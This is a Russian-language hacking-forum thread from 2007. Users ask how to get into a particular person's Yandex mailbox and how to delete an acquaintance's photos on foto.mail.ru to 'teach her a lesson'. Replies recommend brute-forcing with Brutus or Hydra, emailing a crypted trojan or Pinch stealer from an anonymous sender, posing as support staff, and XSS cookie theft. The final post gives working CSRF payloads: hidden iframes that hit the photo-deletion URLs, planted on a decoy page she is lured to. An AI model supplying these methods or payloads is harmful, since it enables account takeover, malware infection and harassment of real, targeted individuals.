Я только учусь. Яндекс почта

Discussion in 'Уязвимости Mail-сервисов' started by kardan, 10 Jan 2007.

  1. kardan

    kardan New Member

    Joined:
    9 Jan 2007
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Прошу помощи. Мне нужно узнать что лежит в почтовом ящике на яндексе, знаю адрес ящика. Скачал прогу Brutus
    aet2 но она требует большой трафик и много времени, а у меня инет дорогой и медленный. Вот в чём вопрос, как ещё можно узнать пароль от ящика. Или может быть можно какнибуть использовать какой ни буть сервак постоянно подключенный к инету, типа скинуть туда прогу и запустить её а на следующий день забрать результаты?
    ;) ;) ;) :mad:
     
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    #2 Grey, 10 Jan 2007
    Last edited: 10 Jan 2007
    2 people like this.
  3. Robin_Hood

    Robin_Hood Elder - Старейшина

    Joined:
    30 Oct 2006
    Messages:
    144
    Likes Received:
    155
    Reputations:
    47
    такой сервак называется дедик или Dedicated Server, стоит около 20 долларов, или можешь просто заплатить комунибуть кто сбрутит пароль от ясчика.
    также можешь СИ использовать
     
  4. domInator

    domInator New Member

    Joined:
    31 Aug 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Как вариант попробуй пинч 3 по пинчу ко мне в асю
     
  5. OMOH_PA

    OMOH_PA New Member

    Joined:
    2 Jan 2007
    Messages:
    26
    Likes Received:
    3
    Reputations:
    10
    чтож ты людей обманываешь . на форуме есть мануал по пинчу и ксинчу . а так ПОИСК правит миром.
     
  6. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Кинь в личку адрес: побручу
     
    #6 Constantine, 10 Jan 2007
    Last edited: 10 Jan 2007
  7. Ci5

    Ci5 Elder - Старейшина

    Joined:
    10 Oct 2006
    Messages:
    141
    Likes Received:
    100
    Reputations:
    -1
    По поводу брута-лучше этим не занимайся. Это очень долго. Проще отослать трой. Криптуешь трой (ссылки выше), заливаешь его на сервер (например webfile.ru или slil.ru), после залазишь на какой нить сервер с отправкой анонивной почты ( gjghj,eq http://sekrets.eu/anonim.php, правда сегодня у меня сегодня он не пашет, вчера пахал) и отправляешь письмо например от [email protected]. Пишешь что нить ему со ссылкой на трой, далее ждешь пароей.
     
  8. Принц

    Принц New Member

    Joined:
    18 Jul 2006
    Messages:
    14
    Likes Received:
    3
    Reputations:
    1
    Угу ( Брут долго и не всегда с результатом(
     
  9. CHIP:))

    CHIP:)) Elder - Старейшина

    Joined:
    17 Jan 2007
    Messages:
    81
    Likes Received:
    18
    Reputations:
    -3
    Может попробовать просто подобрать пароль, если конечно знаком с этим челом. Я так угнал пару мейлов.
     
  10. GeyDee

    GeyDee Elder - Старейшина

    Joined:
    18 Mar 2006
    Messages:
    121
    Likes Received:
    61
    Reputations:
    18
    Короч. у тя есть несколько вариантов, как и говорилось выше. Ты либо платишь соответствующим людям, которые тебе подгонют пасс от того почтовика, который хош сломать. Но думаю тя этот вариант не утроит. Следующий вариант заключается в том, что ты заливаешь гидру на похатченый тобою хост, либо опять же гонишь лавэшку людям, которые этим занимаются. И наконец наиболее приемлемый для тебя вариант-это закриптовать троя и впихнуть его вместе с фотой. Если такого варианта нет, то как говорилось выше, можно замылить от лица суппорта. Если у тя пров предоставляет малую скорость и прилично дерет бабла, то это самый лучший вариант для тебя (ИМХО).
    Ну можно конечно попоробовать тебе еще и Xss, но я не знаю пофиксили эту багу на яндексе или нет. Так что решай сам.
     
  11. Skiffer

    Skiffer New Member

    Joined:
    21 Jan 2007
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    Привет всем О_о))! ! !
    Хочу сначала просто спросить маленький маленький вопросик есть такая штука как foto.mail.ru а вопросик в следующем одна знакомая тцука выложила пару фоток можно ли эти фото убить с сервера не ломая при этом саму почту хоть она и ***кА но семпотяга !!!
    Не хочу ей портить жизнь а просто хочу проучить, парни потскожите как её отучить заниматься подобной Х****й
    Всех с прошедшими чего-то там ((о_О)))
    :confused:
     
    #11 Skiffer, 25 Jan 2007
    Last edited by a moderator: 26 Jan 2007
  12. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    зы) Без взлома нет!
    1)Троянизация жертвы +++)
    2)Куки то есть Xss. . . .+++)
     
  13. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    Если твоя подруга то ты ДОЛЖЕН знать её пароль уже давно /закинуть ей трояна на 2 свидании/, это моё мнение. Если б так сделал сразу то и вопрос сейчас такой не стоял.
    А так решение одно, как фотки заливали так и удоляй, думаю пароль она сложный не ставила, прояви смикалку, вспомни кличку кошки, и удаляй фотки.
    И пусть тебя не мучает совесть (это пожелание)
     
  14. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    Удаление фоток или всего альбома.
    Читаем ЗДЕСЬ и действуем по аналогии.

    1. Ссылка на удаление всего альбома выглядит так:
    HTML:
    http://my.foto.mail.ru/cgi-bin/editalbum?id=photoalbum&delete=1
    , где photoalbum - название ее фотоальбома. Смотришь сам, редактируешь.

    Ссылка на удаление отдельной фотографии - так:

    HTML:
    http://my.foto.mail.ru/cgi-bin/editphoto?id=2&delete=1&album=photoalbum&page=
    , где в id=2 последняя цифра - номер размещенной фотки. Тоже смотришь сам и редактируешь ссылку.

    , photoalbum - название ее фотоальбома.

    2. Все также, но только на страничке пишешь такой код:

    если будешь удалять альбом

    HTML:
    <iframe src=http://my.foto.mail.ru/cgi-bin/editalbum?id=photoalbum&delete=1 width=0 height=0 border=0>
    если будешь удалять сразу несколько фоток:

    HTML:
    <iframe src="http://my.foto.mail.ru/cgi-bin/editphoto?id=1&delete=1&album=photoalbum&page=" width=0 height=0 border=0><iframe src="http://my.foto.mail.ru/cgi-bin/editphoto?id=2&delete=1&album=photoalbum&page=" width=0 height=0 border=0>
    3. Ищешь любую интересную, с твоей точки зрения, для нее страницу в нете, копируешь ее исходный код и заливаешь его на свою страничку на своем сайте. А внизу добавляешь вышеприведенные теги ифрейма.

    Т.е. тебе надо лишь изменить номера фоток в этих ссылках и url-названия альбомов, зарегить свой сайт, залить туда файл с этим кодом и кодом любой странички из нета и сделать так, чтобы она зашла на твою страницу с кодом через ссылку в письме на почте mail.ru. Фотки она свои удалит сама ничего не подозревая об этом.

    Это легче, чем все то, что здесь предлагали (бабло - не в счет). Если ты ничего не понял, ИМХО, тебе в раздел просьбы о взломах.
     
    1 person likes this.